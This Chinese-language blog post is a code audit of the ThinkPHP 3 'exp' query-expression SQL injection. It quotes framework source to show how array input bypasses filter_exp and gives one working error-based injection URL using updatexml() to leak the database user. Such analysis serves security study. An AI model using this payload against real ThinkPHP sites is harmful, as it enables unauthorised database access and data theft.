代碼審計-Thinkphp3框架EXP表達式SQL注入

最近看java框架源碼也是看的有點頭疼,好多還要複習熟悉

還有好多事沒做...慢慢熬。

 

 

 

 

網上好像還沒有特別詳細的分析 我來誤人子弟吧。

 

0x01 tp3 中的exp表達式

查詢表達式的使用格式:

$map['字段名'] = array('表達式','查詢條件');

表達式不分大小寫,支持的查詢表達式有下面幾種,分別表示的含義是:

 

 

重點看exp 

 

 

 EXP表達式支持SQL語法查詢 sql注入非常容易產生。

 

$map['id']  = array('in','1,3,8');

可以改成:

$map['id']  = array('exp',' IN (1,3,8) ');

exp查詢的條件不會被當成字符串,所以後面的查詢條件可以使用任何SQL支持的語法,包括使用函數和字段名稱。查詢表達式不僅可用於查詢條件,也可以用於數據更新,例如:

支持更復雜的查詢情況 例如:

$User = M("User"); // 實例化User對象
// 要修改的數據對象屬性賦值
$data['name'] = 'ThinkPHP';
$data['score'] = array('exp','score+1');// 用戶的積分加1
$User->where('id=5')->save($data); // 根據條件保存修改的數據 

 

 

 

表達式查詢

$map['字段1']  = array('表達式','查詢條件1');
$map['字段2']  = array('表達式','查詢條件2');
$Model->where($map)->select(); 

 

 

 

 

 

 

0x02 exp表達式注入分析

上面很簡單的演示了exp的使用,這時候傳入數組即可,使用exp模式然後使底層sql語句直接拼接產生注入

http://www.qing-tp3.com/index.php/home/index/index2/?id[0]=exp&id[1]==updatexml(0,concat(0x0e,user(),0x0e),0)

F7跟進

 

跟到\ThinkPHP\Library\Think\Db\Driver.class.php 504行

           foreach ($where as $key=>$val){
                if(is_numeric($key)){
                    $key  = '_complex';
                }
                if(0===strpos($key,'_')) {
                    // 解析特殊條件表達式
                    $whereStr   .= $this->parseThinkWhere($key,$val);
                }else{
                    // 查詢字段的安全過濾
                    // if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
                    //     E(L('_EXPRESS_ERROR_').':'.$key);
                    // }
                    // 多條件支持
                    $multi  = is_array($val) &&  isset($val['_multi']);
                    $key    = trim($key);
                    if(strpos($key,'|')) { // 支持 name|title|nickname 方式定義查詢字段
                        $array =  explode('|',$key);
                        $str   =  array();

 

 

 

查看判斷

首先是parseKey()

 protected function parseKey(&$key) {
        $key   =  trim($key);
        if(!is_numeric($key) && !preg_match('/[,\'\"\*\(\)`.\s]/',$key)) {
           $key = '`'.$key.'`';
        }
        return $key;
    }

 

 

filter_exp

function filter_exp(&$value){

    if (in_array(strtolower($value),array('exp','or'))){

        $value .= ' ';

    }

}

 

I函數中重點代碼:

 // 取值操作

        $data       =   $input[$name];

        is_array($data) && array_walk_recursive($data,'filter_exp');

        $filters    =   isset($filter)?$filter:C('DEFAULT_FILTER');

        if($filters) {

            if(is_string($filters)){

                $filters    =   explode(',',$filters);

            }elseif(is_int($filters)){

                $filters    =   array($filters);

            }

            

            foreach($filters as $filter){

                if(function_exists($filter)) {

                    $data   =   is_array($data)?array_map_recursive($filter,$data):$filter($data); // 參數過濾

                }else{

                    $data   =   filter_var($data,is_int($filter)?$filter:filter_id($filter));

                    if(false === $data) {

                        return   isset($default)?$default:NULL;

                    }

                }

            }

        }

    }else{ // 變量默認值

        $data       =    isset($default)?$default:NULL;

    }

 

那麼可以看到這裏是沒有任何有效的過濾的 即時是filter_exp,如果寫的是

filter_exp在I函數的fiter之前,所以如果開發者這樣寫I('get.id', '', 'trim'),那麼會直接清除掉exp後面的空格,導致過濾無效。

返回:

}else {
                $whereStr .= $key.' = '.$this->parseValue($val);
            }
        }
        return $whereStr;

 

 

 

 

 

 

 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章